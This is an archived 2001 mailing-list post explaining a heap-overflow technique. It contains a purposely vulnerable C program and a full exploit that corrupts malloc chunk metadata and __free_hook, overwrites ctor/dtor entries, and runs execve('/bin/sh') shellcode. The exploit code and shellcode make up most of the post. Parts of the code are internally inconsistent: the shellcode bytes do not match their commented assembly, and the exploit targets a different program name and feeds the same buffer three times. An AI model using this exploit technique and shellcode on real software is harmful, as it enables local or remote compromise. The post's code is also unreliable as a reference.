To: bikappa(at)low-level.net
   Subject: Extreme case: art of writing exploit
   Date: Sat Feb 24 2001 15:20:09
   Author: bikappa(at)itapac.net
   Message-ID: <236519684565.BAH060807(at)selen.it>
   Hello,
   I finally decided to write a paper about a technique I used in an exploit recently.
   It's a long time since I've written an exploit, since I found it useless and
   boring. In the last few days I worked on a challenging exploit. That's the
   reason that pushed me to finish it, so now I decided to post the proof of the
   technique I used to solve my problem. Of course I won't post the exploit and
   I won't say the name of the buggy daemon (look at http://anti.security.is).
   First of all, I should say this was done in a remote scenario, but now I wrote
   a similar vulnproggie, which will work in a local situation. It doesn't matter
   because we'll work in a remote setting. This is the vulnerable program - I
   inserted what is needed by us to get it working.
   ----> kioto.c <----
   /*
    * Exploitable vuln proggie for show some proof
    */
   #include <stdio.h>
   #include <stdlib.h>
   /*
    * Some size that should be respected
    */
   #define LOALEN          4
   #define MAXSIZE         64
   #define LONGSZ          16
   #define BSIZE1          32
   #define BSIZE2          64
   #define CHARA           0x41
   #define BISZ            128
   /*
    * that's are some vars declared in the proggie, that i found
    * useful to pass like arguments of the doit()
    */
   char    t[64] = "let me proof d00dz",
           version[64] = "xxxxxxx version %d (C) 2000/2001",
           b[8] = "zz";
   
   doit(char *arg1, char arg2[])
   {
           /*
            * that's data put from prog in
            * the beginning of buff, i
            * inserted xxxx coz it was
            * to easy understand what's the
            * daemon we're working on :=)
            */
           char    loa[] = "xxxx",
                   buffer[BISZ];
   
           int  i,blen, totsize;
   
           /*
            * Copying the 1st 4 byte passed
            * from proggie
            */
           strncpy(arg1, loa, LOALEN);
           totsize = LOALEN;
           /* copy shit */
           for( i = 0; i < 3; i++) {
                   bzero(&buffer, BISZ);
                   gets(buffer);
                   blen = strlen(buffer) < MAXSIZE ? strlen(buffer) : MAXSIZE;
                   strncpy(arg1 + totsize, arg2, strlen(arg2));
                   strncpy(arg1 + totsize + strlen(arg2), buffer, blen);
                   totsize = totsize + strlen(arg2) + blen; }
   }
   func (char *mc)
   {
           char *buf1,*buf2, *buf3;
           int i;
   
           buf1 = malloc(BSIZE1);
           buf2 = malloc(BSIZE2);
           buf3 = malloc(BSIZE2);
   
           /*
            * The size are choose with some argument you pass before,
            * in real fact happen something like
            *      memset(buf1, xx, 16) <- data passed by proggie
            *      strncpy(buf1 + 16, mc, 16) <- data passed by us
            *
            * in next cycle we can do something like
            *      memset(buf1, xx, 16) <- data passed by proggie
            *      strncpy(buf1 + 16 + 16, mc, 16) <- data passed by us
            *
            * so we'll can write 32 bytes, 16 in the allocated buffer
            * and 16 that will overwrite the malloc_chunck of buf2
            */
           memset(buf1, CHARA, LONGSZ);
           strncpy(buf1 + LONGSZ, mc, BSIZE1);
   
           free(buf1);
           free(buf2);
   }
   int main(int argc, char ** argv)
   {
           func(argv[1]);
           exit(0);
   }
   ----> __EOF__ <----
   We should look at the vulnerable situation. It looks like a simplw heap
   overflow of 16 bytes. As anyone knows, 16 bytes is enough to overwrite the
   malloc_chunck of the next allocated buffer. But at the same time the problem
   is unique because we only have 16 bytes of room for the shellcode. But another
   piece of bad news is that there is not really 16 bytes, because the last 4 bytes
   of buff1 are corrupted by the free(), (and sometimes also first byte of
   malloc_chunck of buff2, it depends from prev_size value) so at the end we have
   12bytes + 4bytes corrupted + 16bytes of malloc_chunck. It looks quite difficult
   to solve, because 12 bytes are not really enough for shellcode, and there's not
   other buffer/data to jump to, just because there's no others vars in which to
   place shellcode. Now, my first idea was to execute a vulnerable function, but
   but we can't insert a TEXT value in the fd of the malloc chunk because free
   doesn't permit us to jump there. We should insert a call.
   So we find the right functions (in this case doit() and the right argument for
   this function, version and b), and we should push the two arguments on the stack and
   later call the function. Push dword + push dword + call = 6b + 6b + 5b = 17b..
   mm.. that's not nice. We've only 12 bytes but the situation was easly solved from
   a lil genius (yeah..that's me). Prev_size of malloc_chunck can be everything
   different than 0xffffffff, and it stays at the beginning of the chunk, so we
   get 4 bytes more. 12 + 4 = 16bytes, but.. there's 4bytes corrupted in the
   middle, so we should jump (and skip) these 4 bytes to prevent a segmentation
   fault. So it will be 10bytes + 2bytes of jump + 4bytes corrupted + 4byte of
   prev_size = 14 bytes. It's still not enough. Now just think how to work a
   call (0xe), it pass the distance, and usually it something like 0xe80x??0x??
   0xff0xff, (if it's pretty far it will be one 0xff less), and that means
   that we are saved, because next field of malloc_chunk is size and as we
   know it should be setted to -1 (0xffffffff) to perform a nice heap exploitation.
   So 2bytes of call will be shared with the size. The call is correctly placed
   in the 16 bytes of malloc_chunk - the problem now is to push two dword in 10 bytes.
   I found 3 solutions. The first is to push a copy of the second argument to
   eax, push eax, subtract the distance between the second and first arguments, and
   push eax again.
   The two args are:
           version : $0x8049840
           b: $0x8049880
           mov     $version,%eax
           pushl   %eax
           subl    $0x40,%eax
           pushl   %eax
   and that's 10 bytes. The second method is to pass a NULL:
           pushl   $0x8049840
           subl    %eax,%eax
           push    %eax
   and this is 10 bytes too. The last method, which is easier and faster,
   is to use directly the d68h of x86 architecture and use the opcode 0x68.
           pushl   $0x8049840
           pushl   $0x8049880
   
   We will use this last method. So after this these 2 pushes we just insert a jump
   4 bytes forward (to skip corrupted bytes).
   The situation of buff1 will appear like this:
                    __              __
                   |               |
                   |               |
                   |               |
                   |               |
                   |    16 bytes   |
                   |   Data passed |
                   |   by proggie  |
                   |               |
       Buff1       |               |
      Malloc(32)   |               |__
                   |                __        __
                   |               |         |
                   |               |         |   pushl $version
                   |               |         |
                   |    16 bytes   | 10bytes |   pushl $b
                   |     Passed    |         |
                   |     by us     |         |__
                   |               |          __
                   |               |  2bytes |__ jump  addr + 4
                   |               |          __
                   |               |  4bytes |   corrupted
                   |__             |__       |__   data
                    __            __          __
                   |   Prev_size |    1bytes |__ nop
                   |     4bytes  |__         |
      Malloc       |              __  5bytes |   call doit()
      Chunck       |      Size   |           |__
     of buff2      |     4bytes  |__  2bytes |__ end of size
     malloc(32)    |              __          __
                   |       BK    |    4bytes |    address of
                   |     4bytes  |__         |__  __free_hook
                   |              __          __
                   |       FD    |    4bytes |   address to
                   |__   4bytes  |__         |__   jump to
   
   Now we work on the second part of the exploit. This is the exploit for the
   doit() function. First of all, we should decide 2 args to pass and in this
   case I inserted the two right buffers in the vuln proggie. So the first
   argument will be version and the second, b. The important thing is to
   calculate the right size to obtain something interesting and helpful. The
   mem situation is version, b, force_to_data, frame_end, c/dtor. For our
   interests we should overwrite all the frame_end + c/dtor data. So it is
   pretty important to do the right calculations: at the first cycle we'll
   overwrite a,b mem area, at the second cycle we'll overwrite some force_to_data
   area (and it can be a nice zone to place our shellcode) and with the third
   cycle we'll overwrite the end of force_to_data plus frame_end plus ctor and
   dtor. And in this cycle we should put all the right addresses. The list value
   should be equal to -1 and in the end field of dtor (if the other end fields
   are equal to 0) we should put the address we want to jump to. But of course
   we can't set some field equal to 0, so we'll push  the address, and after
   8 bytes (these are the bytes to be skipped), insert the address to jump to. We've
   decided to insert the shellcode on the 2nd cycle and I think it is a perfect place
   because all 64 bytes passed aren't corrupted or truncated. After all our data
   will be passed, the situation of mem will look like so:
     4b  2b     64bytes     2b         64bytes         2b       60bytes
   [data][b][1cycle AA...AA][b][2cycle NOP...shellcode][b][3cycle AA..STRUCT+ADDR]
   And now here goes the exploit for this well know situation. This one is simple
   so it looks like a good starting point.
   ----> explotio.c <-----
   #include <stdio.h>
   #include <stdlib.h>
   /*
    * Data sheet for heap overflow
    *
    * start of buff1: 0x8049a08
    * doit() address: 0x8048560
    * version: $0x8049840
    * b: $0x8049880
    * mc + 1: 0x8049A29
    * buff1 + 16: 0x8049A18
    */
   #define FREE_HOOK       0x40101458
   #define BUFF            0x8049A18
   #define BUFFERSIZE      500
   #define ADDR    0x8048560 //0x40041720  /* 0x804989A */
   #define NOP     0x90
   #define BSIZE   128
   #define MENUN   0xffffffff
   #define CHARA   0x41
   #define REMSZ   64
   #define PAD     10
   #define FREDS   30 /* distance from start of buf3 to FR_END */
   #define FRESZ   20
           /* 16 bytes call-code */
   unsigned char callcode[] =
           "\x68\x40\x98\x04\x08"  /* pushl $0x8049840     */
           "\x68\x80\x99\x04\x08"  /* pushl $0x8049880     */
           "\xeb\x05"              /* jmp   addr + 5       */
           "\x90"                  /* nop                  */
           "\x90"                  /* nop                  */
           "\x90"                  /* nop                  */
           "\x90";                 /* nop                  */
           /* 25 bytes shellcode */
   unsigned char shellcode[] =
   /*
    * push   %ebp                  "\x55"
    * mov    %esp,%ebp             "\x89\xe5"
    * sub    %eax,%eax             "\x29\xc0"
    * push   %eax                  "\x50"
    * push   $0x68732f2f           "\x68\x2f\x2f\x73\x68"
    * push   $0x6e69622f           "\x68\x2f\x2f\x69\x6e"
    * mov    %esp,%ebx             "\x89\xe3"
    * push   %eax                  "\x50"
    * mov    %esp,%edx             "\x89\xe2"
    * push   %esp                  "\x54"
    * mov    %esp,%ecx             "\x89\xe1"
    * mov    $0xb,%al              "\xb0\x08"
    * int    $0x80                 "\xcd\x80"
    * mov    %ebp,%esp             "\x89\xec"
    * pop    %ebp                  "\x5d"
    * ret                          "\xc3"
    */
           "\x29\xc0\x50\x68\x2f\x2f\x73\x68"
           "\x68\x2f\x2f\x69\x6e\x89\xe3\x50"
           "\x89\xe2\x54\x89\xe1\xb0\x08\xcd"
           "\x80\x90";
   int main(int argc,char **argv)
   {
           struct FRAME_END {
                   unsigned int FR_END__;
                   struct _CTOR {
                           unsigned int LIST__;
                           unsigned int END__;
                           } CT;
                   struct _DTOR {
                           unsigned int LIST__;
                           unsigned int END__;
                           } DT;
                   } FE_;
           struct malloc_chunk{
                   unsigned int ps;
                   unsigned int sz;
                   unsigned int fd;
                   unsigned int bk;
           } mc;
           pid_t soon;
           unsigned char *type = "w";
           int bsize = argc > 1 ? atoi(argv[1]) : 16;
           unsigned int offset = argc > 2 ? atoi(argv[2]) : 0;
           unsigned int addr = ADDR + offset;
           char    *program[2];
           char    buffer1[BSIZE],
                   buffer2[BSIZE],
                   buffer3[BSIZE],
                   buffer[BUFFERSIZE];
           int i;
           /*
            * The 3 buffer used for data
            * of doit() overflow
            */
           bzero(&buffer1, BSIZE);
           bzero(&buffer2, BSIZE);
           bzero(&buffer3, BSIZE);
           /*
            * NEW Malloc chunck data:
            *
            * Address of this buffer 0x8049A29
            * Address of functions  0x8048560
            * distance  is 5321 - 4
            * distance 0xFFFFEB33
            */
           mc.ps = 0xeb33e890;
           mc.sz = 0xffffffff;
           mc.bk = FREE_HOOK - 8;
           mc.fd = BUFF;
           /*
            * New framde end, c/dtors data:
            */
           FE_.FR_END__ = ADDR;
           FE_.CT.LIST__ = MENUN;
           FE_.CT.END__ = ADDR;
           FE_.DT.LIST__ = MENUN;
           FE_.DT.END__ = ADDR;
   
           /*
            * Setting un buffer for heap overflow
            */
   
           memset(buffer, CHARA, BUFFERSIZE);
           memcpy(buffer, callcode, bsize);
           memcpy(buffer + bsize, &mc, sizeof(mc));
           buffer[bsize + sizeof(mc)]=0;
   
           /*
            * Setting up buffers for doit() overflow
            */
   
           /* buffer 1 - only [AAA...AA] */
   
           memset(buffer1, CHARA, REMSZ);
   
           /* buffer 2 - shellcode is here */
           memset(buffer2, NOP, REMSZ);
           memcpy(buffer2 + PAD, &shellcode, sizeof(shellcode) - 1);
   
           /* buffer 3 - frame_end + addrofsh */
           memset(buffer3, CHARA, FREDS);
           memcpy(buffer3 + FREDS, &FE_, FRESZ);
           memset(buffer3 + FREDS + FRESZ, NOP, 8);
           memcpy(buffer3 + FREDS + FRESZ + 8, &addr, 4);
   
           printf("Heap: buffersize = %d, addressofcallcode  = 0x%x\n", bsize + sizeof(mc), BUFF);
           printf("Doit: shellcode  = %d, addressofshellcode = 0x%x\n", sizeof(shellcode)-1, addr);
   
           snprintf(buffer, 32, "%s %s", argv[0], argv[1]);
           popen("./piotto5", type);
   
           /* Put the data */
           sleep(1);
           puts(buffer1);
           sleep(1);
           puts(buffer1);
           sleep(1);
           puts(buffer1);
   }
   ---->   __EOF__  <-----
   I think it also could be nice to make this work on a stackguarded daemon, and
   the solution appears pretty easy - simply avoid the stack and work on the heap :P
   That's all. I hope that I have proved that writing exploits should be an art, which
   is something only artists can do.
   Signed,
   bikappa
   ----> __EOF__ <----
   
   _______________________________________________________
   bikappa [bikappa(at)itapac.net/low-level.net] [bikappa(at)IRCnet#hax]
   [http://www.low-level.net] [http://anti.security.is] [l0wlevel] [bin/zsh]
   Free Advertising : http://www.FreeSK8.org/